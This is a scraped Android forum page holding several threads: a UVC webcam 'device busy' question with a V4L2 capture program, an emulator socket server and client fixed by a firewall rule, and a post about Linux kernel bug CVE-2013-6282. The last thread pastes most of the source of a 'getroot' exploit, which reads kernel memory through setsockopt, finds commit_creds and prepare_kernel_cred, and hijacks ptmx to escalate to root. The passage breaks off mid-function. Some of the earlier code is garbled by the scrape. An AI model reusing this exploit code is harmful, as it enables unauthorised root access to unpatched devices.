Android External UVC camera issue /dev/video0 can't open resource busy.. - Android Q&A, Help & Troubleshooting

Hello,
I have been struggling with an issue related to v4l enabling in Android Kernel. Please suggest me appropriate place to post my question i found this email for contacting on linux-media website. I am trying to connect external UVC camera with android device.
What i have done so far , I enabled v4l configuration in kernel and i do see in log UVC driver get loaded after enabling as well as video_device_register return 0 and picked up video node 0. But what is the problem is when i application trying to access /dev/video0 it always shows device busy can not open.
I have tried all permutation combination by assigning 0666 permission in init.rc , init.<board>.rc or uevetd.<board>.rc .
But no luck please guide me how can i do it ? I am trying with Logitech C270 webcam and it does support v4l.
Kernel is 3.0.31 and Device is Galaxy Nexus
Thank you

kill $( lsof |grep /dev/video|awk '{print $2}')
kill $( lsof |grep /dev/video*|awk '{print $2}')
---------- Post added at 04:29 PM ---------- Previous post was at 04:16 PM ----------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <getopt.h> /* getopt_long() */
#include <fcntl.h> /* low-level i/o */
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <linux/videodev2.h>
#define CLEAR(x) memset(&(x), 0, sizeof(x))
enum io_method {
IO_METHOD_READ,
IO_METHOD_MMAP,
IO_METHOD_USERPTR,
};
struct buffer {
void *start;
size_t length;
};
static char *dev_name;
static enum io_method io = IO_METHOD_MMAP;
static int fd = -1;
struct buffer *buffers;
static unsigned int n_buffers;
static int out_buf;
static int force_format;
static int frame_count = 70;
static void errno_exit(const char *s)
{
fprintf(stderr, "43 %s error %d, %s\n", s, errno, strerror(errno));
exit(EXIT_FAILURE);
}
static int xioctl(int fh, int request, void *arg)
{
int r;
do {
r = ioctl(fh, request, arg);
} while (-1 == r && EINTR == errno);
return r;
}
//process_image(数据指针,大小)
static void process_image(const void *p, int size)
{
if (out_buf)
fwrite(p, size, 1, stdout);
fflush(stderr);
fprintf(stderr, ".");
fflush(stdout);
}
static int read_frame(void)
{
struct v4l2_buffer buf;
unsigned int i;
switch (io) {
case IO_METHOD_READ:
if (-1 == read(fd, buffers[0].start, buffers[0].length)) {
switch (errno) {
case EAGAIN:
return 0;
case EIO:
/* Could ignore EIO, see spec. */
/* fall through */
default:
errno_exit("read");
}
}
process_image(buffers[0].start, buffers[0].length);
break;
case IO_METHOD_MMAP:
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
if (-1 == xioctl(fd, VIDIOC_DQBUF, &buf)) {
switch (errno) {
case EAGAIN:
return 0;
case EIO:
/* Could ignore EIO, see spec. */
/* fall through */
default:
errno_exit("VIDIOC_DQBUF");
}
}
assert(buf.index < n_buffers);
process_image(buffers[buf.index].start, buf.bytesused);
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
break;
case IO_METHOD_USERPTR:
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_USERPTR;
if (-1 == xioctl(fd, VIDIOC_DQBUF, &buf)) {
switch (errno) {
case EAGAIN:
return 0;
case EIO:
/* Could ignore EIO, see spec. */
/* fall through */
default:
errno_exit("VIDIOC_DQBUF");
}
}
for (i = 0; i < n_buffers; ++i)
if (buf.m.userptr == (unsigned long)buffers.start
&& buf.length == buffers.length)
break;
assert(i < n_buffers);
process_image((void *)buf.m.userptr, buf.bytesused);
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
break;
}
return 1;
}
static void mainloop(void)
{
unsigned int count;
count = frame_count;
while (count-- > 0) {
for (; {
fd_set fds;
struct timeval tv;
int r;
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* Timeout. */
tv.tv_sec = 2;
tv.tv_usec = 0;
r = select(fd + 1, &fds, NULL, NULL, &tv);
if (-1 == r) {
if (EINTR == errno)
continue;
errno_exit("select");
}
if (0 == r) {
fprintf(stderr, "190 select timeout\n");
exit(EXIT_FAILURE);
}
if (read_frame())
break;
/* EAGAIN - continue select loop. */
}
}
}
//VIDIOC_STREAMOFF
static void stop_capturing(void)
{
enum v4l2_buf_type type;
switch (io) {
case IO_METHOD_READ:
/* Nothing to do. */
break;
case IO_METHOD_MMAP:
case IO_METHOD_USERPTR:
type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (-1 == xioctl(fd, VIDIOC_STREAMOFF, &type))
errno_exit("VIDIOC_STREAMOFF");
break;
}
}
//VIDIOC_STREAMON
static void start_capturing(void)
{
unsigned int i;
enum v4l2_buf_type type;
switch (io) {
case IO_METHOD_READ:
/* Nothing to do. */
break;
case IO_METHOD_MMAP:
for (i = 0; i < n_buffers; ++i) {
struct v4l2_buffer buf;
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
buf.index = i;
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
}
type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (-1 == xioctl(fd, VIDIOC_STREAMON, &type))
errno_exit("VIDIOC_STREAMON");
break;
case IO_METHOD_USERPTR:
for (i = 0; i < n_buffers; ++i) {
struct v4l2_buffer buf;
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_USERPTR;
buf.index = i;
buf.m.userptr = (unsigned long)buffers.start;
buf.length = buffers.length;
if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))
errno_exit("VIDIOC_QBUF");
}
type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (-1 == xioctl(fd, VIDIOC_STREAMON, &type))
errno_exit("VIDIOC_STREAMON");
break;
}
}
//释放申请的内存
static void uninit_device(void)
{
unsigned int i;
switch (io) {
case IO_METHOD_READ:
free(buffers[0].start);
break;
case IO_METHOD_MMAP:
for (i = 0; i < n_buffers; ++i)
if (-1 == munmap(buffers.start, buffers.length))
errno_exit("munmap");
break;
case IO_METHOD_USERPTR:
for (i = 0; i < n_buffers; ++i)
free(buffers.start);
break;
}
free(buffers);
}
static void init_read(unsigned int buffer_size)
{
buffers = calloc(1, sizeof(*buffers));
if (!buffers) {
fprintf(stderr, "302 Out of memory\n");
exit(EXIT_FAILURE);
}
buffers[0].length = buffer_size;
buffers[0].start = malloc(buffer_size);
if (!buffers[0].start) {
fprintf(stderr, "310 Out of memory\n");
exit(EXIT_FAILURE);
}
}
static void init_mmap(void)
{
struct v4l2_requestbuffers req;
CLEAR(req);
req.count = 4;
req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
req.memory = V4L2_MEMORY_MMAP;
if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) {
if (EINVAL == errno) {
fprintf(stderr, "327 %s does not support "
"memory mappingn", dev_name);
exit(EXIT_FAILURE);
} else {
errno_exit("VIDIOC_REQBUFS");
}
}
if (req.count < 2) {
fprintf(stderr, "336 Insufficient buffer memory on %s\n",
dev_name);
exit(EXIT_FAILURE);
}
buffers = calloc(req.count, sizeof(*buffers));
if (!buffers) {
fprintf(stderr, "344 Out of memory\n");
exit(EXIT_FAILURE);
}
for (n_buffers = 0; n_buffers < req.count; ++n_buffers) {
struct v4l2_buffer buf;
CLEAR(buf);
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
buf.index = n_buffers;
if (-1 == xioctl(fd, VIDIOC_QUERYBUF, &buf))
errno_exit("VIDIOC_QUERYBUF");
buffers[n_buffers].length = buf.length;
buffers[n_buffers].start =
mmap(NULL /* start anywhere */,
buf.length,
PROT_READ | PROT_WRITE /* required */,
MAP_SHARED /* recommended */,
fd, buf.m.offset);
if (MAP_FAILED == buffers[n_buffers].start)
errno_exit("mmap");
}
}
static void init_userp(unsigned int buffer_size)
{
struct v4l2_requestbuffers req;
CLEAR(req);
req.count = 4;
req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
req.memory = V4L2_MEMORY_USERPTR;
if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) {
if (EINVAL == errno) {
fprintf(stderr, "385 %@s does not support "
"user pointer i/on", dev_name);
exit(EXIT_FAILURE);
} else {
errno_exit("VIDIOC_REQBUFS");
}
}
buffers = calloc(4, sizeof(*buffers));
if (!buffers) {
fprintf(stderr, "396 Out of memory\n");
exit(EXIT_FAILURE);
}
for (n_buffers = 0; n_buffers < 4; ++n_buffers) {
buffers[n_buffers].length = buffer_size;
buffers[n_buffers].start = malloc(buffer_size);
if (!buffers[n_buffers].start) {
fprintf(stderr, "405 Out of memory\n");
exit(EXIT_FAILURE);
}
}
}
static void init_device(void)
{
struct v4l2_capability cap;
struct v4l2_cropcap cropcap;
struct v4l2_crop crop;
struct v4l2_format fmt;
unsigned int min;
if (-1 == xioctl(fd, VIDIOC_QUERYCAP, &cap)) {
if (EINVAL == errno) {
fprintf(stderr, "421 @%s is no V4L2 device\n",
dev_name);
exit(EXIT_FAILURE);
} else {
errno_exit("VIDIOC_QUERYCAP");
}
}
if (!(cap.capabilities & V4L2_CAP_VIDEO_CAPTURE)) {
fprintf(stderr, "430 %s is no video capture device\n",
dev_name);
exit(EXIT_FAILURE);
}
switch (io) {
case IO_METHOD_READ:
if (!(cap.capabilities & V4L2_CAP_READWRITE)) {
fprintf(stderr, "438 %s does not support read i/o\n",
dev_name);
exit(EXIT_FAILURE);
}
break;
case IO_METHOD_MMAP:
case IO_METHOD_USERPTR:
if (!(cap.capabilities & V4L2_CAP_STREAMING)) {
fprintf(stderr, "447 %s does not support streaming i/o\n",
dev_name);
exit(EXIT_FAILURE);
}
break;
}
/* Select video input, video standard and tune here. */
CLEAR(cropcap);
cropcap.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (0 == xioctl(fd, VIDIOC_CROPCAP, &cropcap)) {
crop.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
crop.c = cropcap.defrect; /* reset to default */
if (-1 == xioctl(fd, VIDIOC_S_CROP, &crop)) {
switch (errno) {
case EINVAL:
/* Cropping not supported. */
break;
default:
/* Errors ignored. */
break;
}
}
} else {
/* Errors ignored. */
}
CLEAR(fmt);
fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
if (force_format) {
fmt.fmt.pix.width = 640;
fmt.fmt.pix.height = 480;
fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_YUYV;
fmt.fmt.pix.field = V4L2_FIELD_INTERLACED;
if (-1 == xioctl(fd, VIDIOC_S_FMT, &fmt))
errno_exit("VIDIOC_S_FMT");
/* Note VIDIOC_S_FMT may change width and height. */
} else {
/* Preserve original settings as set by v4l2-ctl for example */
if (-1 == xioctl(fd, VIDIOC_G_FMT, &fmt))
errno_exit("VIDIOC_G_FMT");
}
/* Buggy driver paranoia. */
min = fmt.fmt.pix.width * 2;
if (fmt.fmt.pix.bytesperline < min)
fmt.fmt.pix.bytesperline = min;
min = fmt.fmt.pix.bytesperline * fmt.fmt.pix.height;
if (fmt.fmt.pix.sizeimage < min)
fmt.fmt.pix.sizeimage = min;
switch (io) {
case IO_METHOD_READ:
init_read(fmt.fmt.pix.sizeimage);
break;
case IO_METHOD_MMAP:
init_mmap();
break;
case IO_METHOD_USERPTR:
init_userp(fmt.fmt.pix.sizeimage);
break;
}
}
static void close_device(void)
{
if (-1 == close(fd))
errno_exit("close");
fd = -1;
}
static void open_device(void)
{
struct stat st;
if (-1 == stat(dev_name, &st)) {
fprintf(stderr, "536 Cannot identify '%s': %d, %s\n",
dev_name, errno, strerror(errno));
exit(EXIT_FAILURE);
}
if (!S_ISCHR(st.st_mode)) {
fprintf(stderr, "542 %s is no devicen", dev_name);
exit(EXIT_FAILURE);
}
fd = open(dev_name, O_RDWR /* required */ | O_NONBLOCK, 0);
if (-1 == fd) {
fprintf(stderr, "548 Cannot open '%s': %d, %s\n",
dev_name, errno, strerror(errno));
exit(EXIT_FAILURE);
}
}
static void usage(FILE *fp, int argc, char **argv)
{
fprintf(fp,
"Usage: %s [options]\n\n"
"Version 1.3\n"
"Options:\n"
"-d | --device name Video device name [%s]n"
"-h | --help Print this messagen"
"-m | --mmap Use memory mapped buffers [default]n"
"-r | --read Use read() callsn"
"-u | --userp Use application allocated buffersn"
"-o | --output Outputs stream to stdoutn"
"-f | --format Force format to 640x480 YUYVn"
"-c | --count Number of frames to grab [%i]n"
"",
argv[0], dev_name, frame_count);
}
static const char short_options[] = "d:hmruofc:";
static const struct option
long_options[] = {
{ "device", required_argument, NULL, 'd' },
{ "help", no_argument, NULL, 'h' },
{ "mmap", no_argument, NULL, 'm' },
{ "read", no_argument, NULL, 'r' },
{ "userp", no_argument, NULL, 'u' },
{ "output", no_argument, NULL, 'o' },
{ "format", no_argument, NULL, 'f' },
{ "count", required_argument, NULL, 'c' },
{ 0, 0, 0, 0 }
};
int main(int argc, char **argv)
{
dev_name = "/dev/video0";
for (; {
int idx;
int c;
c = getopt_long(argc, argv,
short_options, long_options, &idx);
if (-1 == c)
break;
switch (c) {
case 0: /* getopt_long() flag */
break;
case 'd':
dev_name = optarg;
break;
case 'h':
usage(stdout, argc, argv);
exit(EXIT_SUCCESS);
case 'm':
io = IO_METHOD_MMAP;
break;
case 'r':
io = IO_METHOD_READ;
break;
case 'u':
io = IO_METHOD_USERPTR;
break;
case 'o':
out_buf++;
break;
case 'f':
force_format++;
break;
case 'c':
errno = 0;
frame_count = strtol(optarg, NULL, 0);
if (errno)
errno_exit(optarg);
break;
default:
usage(stderr, argc, argv);
exit(EXIT_FAILURE);
}
}
open_device();
init_device();
start_capturing();
mainloop();
stop_capturing();
uninit_device();
close_device();
fprintf(stderr, "\n");
return 0;
}
[email protected]:/data # gcc /sdcard/camera.c
[email protected]:/data #
[email protected]:/data # ./a.out
43 VIDIOC_QUERYCAP error 25, Not a typewriter

Related

Can't connect to server on android emulator from host machine

Hi everybody!
I wrote simple server on android with NDK, which will work on port 8888 on android emulator, but i can't connect to it from my client on the host machine.
I added <uses-permission android:name="android.permission.INTERNET"/> in manifest.
I tried to make redirection with telnet:
telnet localhost 5554
redir add tcp:6666:8888
Here code of server:
#include <string.h>
#include <jni.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
jstring
Java_com_example_hellojni_HelloJni_stringFromJNI( JNIEnv* env,
jobject thiz )
{
int socket_desc , client_sock , c , read_size;
struct sockaddr_in server , client;
char* client_message;
int LEN = 512;
client_message = "I am android server";
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
return (*env)->NewStringUTF(env, "Could not create socket");
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 8888 );
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
{
return (*env)->NewStringUTF(env, "bind failed. Error");
}
listen(socket_desc , 3);
c = sizeof(struct sockaddr_in);
client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);
if (client_sock < 0)
{
return (*env)->NewStringUTF(env, "accept failed");
}
while( (read_size = recv(client_sock , buf , 2*LEN+1 , 0)) > 0 )
{
write(client_sock , client_message , strlen(client_message));
}
if(read_size == 0)
{
return (*env)->NewStringUTF(env, "Client disconnected");
}
else if(read_size == -1)
{
return (*env)->NewStringUTF(env, "recv failed");
}
return (*env)->NewStringUTF(env, "Server closed");
}​
And code of client on host machine:
#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <stdio.h>
#include <conio.h>
#include <iostream>
#pragma comment(lib, "Ws2_32.lib")
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
int host_port= 6666;
char* host_name= "localhost";
unsigned short wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 || ( LOBYTE( wsaData.wVersion ) != 2 ||
HIBYTE( wsaData.wVersion ) != 2 )) {
fprintf(stderr, "Could not find useable sock dll %d\n",WSAGetLastError());
return 0;
}
int hsock;
int * p_int ;
hsock = socket(AF_INET, SOCK_STREAM, 0);
if(hsock == -1){
printf("Error initializing socket %d\n",WSAGetLastError());
return 0;
}
p_int = (int*)malloc(sizeof(int));
*p_int = 1;
if( (setsockopt(hsock, SOL_SOCKET, SO_REUSEADDR, (char*)p_int, sizeof(int)) == -1 )||
(setsockopt(hsock, SOL_SOCKET, SO_KEEPALIVE, (char*)p_int, sizeof(int)) == -1 ) ){
printf("Error setting options %d\n", WSAGetLastError());
free(p_int);
return 0;
}
free(p_int);
struct sockaddr_in my_addr;
my_addr.sin_family = AF_INET ;
my_addr.sin_port = htons(host_port);
memset(&(my_addr.sin_zero), 0, 8);
my_addr.sin_addr.s_addr = inet_addr(host_name);
cout<<"client ready\n";
if( connect( hsock, (struct sockaddr*)&my_addr, sizeof(my_addr)) == SOCKET_ERROR ){
fprintf(stderr, "Error connecting socket %d\n", WSAGetLastError()); getchar();
return 0;
}
cout<<"connected to server\n";
char buffer[1024];
int buffer_len = 1024;
int bytecount;
int c;
memset(buffer, '\0', buffer_len);
for(char* p=buffer ; (c=getch())!=13 ; p++){
printf("%c", c);
*p = c;
}
if( (bytecount=send(hsock, buffer, strlen(buffer),0))==SOCKET_ERROR){
fprintf(stderr, "Error sending data %d\n", WSAGetLastError());
return 0;
}
printf("Sent bytes %d\n", bytecount);
if((bytecount = recv(hsock, buffer, buffer_len, 0))==SOCKET_ERROR){
fprintf(stderr, "Error receiving data %d\n", WSAGetLastError());
return 0;
}
printf("Recieved bytes %d\nReceived string \"%s\"\n", bytecount, buffer);
closesocket(hsock);
return 0;
}​
Solved!
I happend because my windows firewall blocked this port (in my case 6666) and client couldn't connect to server on emulator
to unlock port in windows - open firewall extra options and add rule for income connections (free for all)

Exploiting CVE-2013-6282 vulnerability

On October 25, 2013, a Linux kernel bug CVE-2013-6282 was published. It was largely exploited around that time to get root access on existing Android devices. After reading tons of user review, I also applied the rootkit to get root access on my Sony Xperia - L handeset successfully. It was quite surprising that even the latest firmware update, too, didn't fix the vulnerability. What the flaw basically says is,
The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not validate certain addresses, which allows attackers to read or modify the contents of arbitrary kernel memory locations via a crafted application, as exploited in the wild against Android devices in October and November 2013.
Click to expand...
Click to collapse
The rootkit has its source code attached.
Code:
/* getroot 2013/12/07 */
/*
* Copyright (C) 2013 CUBE
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#define KERNEL_START_ADDRESS 0xc0008000
#define KERNEL_SIZE 0x2000000
#define SEARCH_START_ADDRESS 0xc0800000
#define KALLSYMS_SIZE 0x200000
#define EXECCOMMAND "/system/bin/sh"
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <stdbool.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/system_properties.h>
#define PTMX_DEVICE "/dev/ptmx"
unsigned long *kallsymsmem = NULL;
unsigned long pattern_kallsyms_addresses[] = {
0xc0008000, /* stext */
0xc0008000, /* _sinittext */
0xc0008000, /* _stext */
0xc0008000 /* __init_begin */
};
unsigned long pattern_kallsyms_addresses2[] = {
0xc0008000, /* stext */
0xc0008000 /* _text */
};
unsigned long pattern_kallsyms_addresses3[] = {
0xc00081c0, /* asm_do_IRQ */
0xc00081c0, /* _stext */
0xc00081c0 /* __exception_text_start */
};
unsigned long kallsyms_num_syms;
unsigned long *kallsyms_addresses;
unsigned char *kallsyms_names;
unsigned char *kallsyms_token_table;
unsigned short *kallsyms_token_index;
unsigned long *kallsyms_markers;
unsigned long prepare_kernel_cred_address = 0;
unsigned long commit_creds_address = 0;
unsigned long ptmx_fops_address = 0;
unsigned long ptmx_open_address = 0;
unsigned long tty_init_dev_address = 0;
unsigned long tty_release_address = 0;
unsigned long tty_fasync_address = 0;
unsigned long ptm_driver_address = 0;
struct cred;
struct task_struct;
struct cred *(*prepare_kernel_cred)(struct task_struct *);
int (*commit_creds)(struct cred *);
bool bChiled;
int read_value_at_address(unsigned long address, unsigned long *value) {
int sock;
int ret;
int i;
unsigned long addr = address;
unsigned char *pval = (unsigned char *)value;
socklen_t optlen = 1;
*value = 0;
errno = 0;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
fprintf(stderr, "socket() failed: %s.\n", strerror(errno));
return -1;
}
for (i = 0; i < sizeof(*value); i++, addr++, pval++) {
errno = 0;
ret = setsockopt(sock, SOL_IP, IP_TTL, (void *)addr, 1);
if (ret != 0) {
if (errno != EINVAL) {
fprintf(stderr, "setsockopt() failed: %s.\n", strerror(errno));
close(sock);
*value = 0;
return -1;
}
}
errno = 0;
ret = getsockopt(sock, SOL_IP, IP_TTL, pval, &optlen);
if (ret != 0) {
fprintf(stderr, "getsockopt() failed: %s.\n", strerror(errno));
close(sock);
*value = 0;
return -1;
}
}
close(sock);
return 0;
}
unsigned long *kerneldump(unsigned long startaddr, unsigned long dumpsize) {
unsigned long addr;
unsigned long val;
unsigned long *allocaddr;
unsigned long *memaddr;
int cnt, num, divsize;
printf("kernel dump...\n");
allocaddr = (unsigned long *)malloc(dumpsize);
if (allocaddr == NULL) {
fprintf(stderr, "malloc failed: %s.\n", strerror(errno));
return NULL;
}
memaddr = allocaddr;
cnt = 0;
num = 0;
divsize = dumpsize / 10;
for (addr = startaddr; addr < (startaddr + dumpsize); addr += 4, memaddr++) {
if (read_value_at_address(addr, &val) != 0) {
printf("\n");
fprintf(stderr, "kerneldump failed: %s.\n", strerror(errno));
return NULL;
}
*memaddr = val;
cnt += 4;
if (cnt >= divsize) {
cnt = 0;
num++;
printf("%d ", num);
fflush(stdout);
}
}
printf("\n");
return allocaddr;
}
int check_pattern(unsigned long *addr, unsigned long *pattern, int patternnum) {
unsigned long val;
unsigned long cnt;
unsigned long i;
read_value_at_address((unsigned long)addr, &val);
if (val == pattern[0]) {
cnt = 1;
for (i = 1; i < patternnum; i++) {
read_value_at_address((unsigned long)(&addr[i]), &val);
if (val == pattern[i]) {
cnt++;
} else {
break;
}
}
if (cnt == patternnum) {
return 0;
}
}
return -1;
}
int check_kallsyms_header(unsigned long *addr) {
if (check_pattern(addr, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {
return 0;
} else if (check_pattern(addr, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {
return 0;
} else if (check_pattern(addr, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {
return 0;
}
return -1;
}
int get_kallsyms_addresses() {
unsigned long *endaddr;
unsigned long i, j;
unsigned long *addr;
unsigned long n;
unsigned long val;
unsigned long off;
int cnt, num;
if (read_value_at_address(KERNEL_START_ADDRESS, &val) != 0) {
fprintf(stderr, "this device is not supported.\n");
return -1;
}
printf("search kallsyms...\n");
endaddr = (unsigned long *)(KERNEL_START_ADDRESS + KERNEL_SIZE);
cnt = 0;
num = 0;
for (i = 0; i < (KERNEL_START_ADDRESS + KERNEL_SIZE - SEARCH_START_ADDRESS); i += 16) {
for (j = 0; j < 2; j++) {
cnt += 4;
if (cnt >= 0x10000) {
cnt = 0;
num++;
printf("%d ", num);
fflush(stdout);
}
/* get kallsyms_addresses pointer */
if (j == 0) {
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS + i);
} else {
if ((i == 0) || ((SEARCH_START_ADDRESS - i) < KERNEL_START_ADDRESS)) {
continue;
}
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS - i);
}
if (check_kallsyms_header(kallsyms_addresses) != 0) {
continue;
}
addr = kallsyms_addresses;
off = 0;
/* search end of kallsyms_addresses */
n = 0;
while (1) {
read_value_at_address((unsigned long)addr, &val);
if (val < KERNEL_START_ADDRESS) {
break;
}
n++;
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
}
/* skip there is filled by 0x0 */
while (1) {
read_value_at_address((unsigned long)addr, &val);
if (val != 0) {
break;
}
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
}
read_value_at_address((unsigned long)addr, &val);
kallsyms_num_syms = val;
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
/* check kallsyms_num_syms */
if (kallsyms_num_syms != n) {
continue;
}
if (num > 0) {
printf("\n");
}
printf("(kallsyms_addresses=%08x)\n", (unsigned long)kallsyms_addresses);
printf("(kallsyms_num_syms=%08x)\n", kallsyms_num_syms);
kallsymsmem = kerneldump((unsigned long)kallsyms_addresses, KALLSYMS_SIZE);
if (kallsymsmem == NULL) {
return -1;
}
kallsyms_addresses = kallsymsmem;
endaddr = (unsigned long *)((unsigned long)kallsymsmem + KALLSYMS_SIZE);
addr = &kallsymsmem[off];
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
kallsyms_names = (unsigned char *)addr;
/* search end of kallsyms_names */
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
int len = kallsyms_names[off];
off += len + 1;
if (&kallsyms_names[off] >= (unsigned char *)endaddr) {
return -1;
}
}
/* adjust */
addr = (unsigned long *)((((unsigned long)&kallsyms_names[off] - 1) | 0x3) + 1);
if (addr >= endaddr) {
return -1;
}
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
/* but kallsyms_markers shoud be start 0x00000000 */
addr--;
kallsyms_markers = addr;
/* end of kallsyms_markers */
addr = &kallsyms_markers[((kallsyms_num_syms - 1) >> 8) + 1];
if (addr >= endaddr) {
return -1;
}
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
kallsyms_token_table = (unsigned char *)addr;
i = 0;
while ((kallsyms_token_table[i] != 0x00) || (kallsyms_token_table[i + 1] != 0x00)) {
i++;
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
return -1;
}
}
/* skip there is filled by 0x0 */
while (kallsyms_token_table[i] == 0x00) {
i++;
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
return -1;
}
}
/* but kallsyms_markers shoud be start 0x0000 */
kallsyms_token_index = (unsigned short *)&kallsyms_token_table[i - 2];
return 0;
}
}
if (num > 0) {
printf("\n");
}
return -1;
}
unsigned long kallsyms_expand_symbol(unsigned long off, char *namebuf) {
int len;
int skipped_first;
unsigned char *tptr;
unsigned char *data;
/* Get the compressed symbol length from the first symbol byte. */
data = &kallsyms_names[off];
len = *data;
off += len + 1;
data++;
skipped_first = 0;
while (len > 0) {
tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
data++;
len--;
while (*tptr > 0) {
if (skipped_first != 0) {
*namebuf = *tptr;
namebuf++;
} else {
skipped_first = 1;
}
tptr++;
}
}
*namebuf = '\0';
return off;
}
int search_functions() {
char namebuf[1024];
unsigned long i;
unsigned long off;
int cnt;
cnt = 0;
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
off = kallsyms_expand_symbol(off, namebuf);
if (strcmp(namebuf, "prepare_kernel_cred") == 0) {
prepare_kernel_cred_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "commit_creds") == 0) {
commit_creds_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "ptmx_open") == 0) {
ptmx_open_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_init_dev") == 0) {
tty_init_dev_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_release") == 0) {
tty_release_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_fasync") == 0) {
tty_fasync_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "ptmx_fops") == 0) {
ptmx_fops_address = kallsyms_addresses[i];
}
}
if (cnt < 6) {
return -1;
}
return 0;
}
void analyze_ptmx_open() {
unsigned long i, j, k;
unsigned long addr;
unsigned long val;
unsigned long regnum;
unsigned long data_addr;
printf("analyze ptmx_open...\n");
for (i = 0; i < 0x200; i += 4) {
addr = ptmx_open_address + i;
read_value_at_address(addr, &val);
if ((val & 0xff000000) == 0xeb000000) {
if ((((tty_init_dev_address / 4) - (addr / 4 + 2)) & 0x00ffffff) == (val & 0x00ffffff)) {
for (j = 1; j <= i; j++) {
addr = ptmx_open_address + i - j;
read_value_at_address(addr, &val);
if ((val & 0xfff0f000) == 0xe5900000) {
regnum = (val & 0x000f0000) >> 16;
for (k = 1; k <= (i - j); k++) {
addr = ptmx_open_address + i - j - k;
read_value_at_address(addr, &val);
if ((val & 0xfffff000) == (0xe59f0000 + (regnum << 12))) {
data_addr = addr + (val & 0x00000fff) + 8;
read_value_at_address(data_addr, &val);
ptm_driver_address = val;
return;
}
}
}
}
}
}
}
return;
}
unsigned long search_ptmx_fops_address() {
unsigned long *addr;
unsigned long range;
unsigned long *ptmx_fops_open;
unsigned long i;
unsigned long val, val2, val5;
int cnt, num;
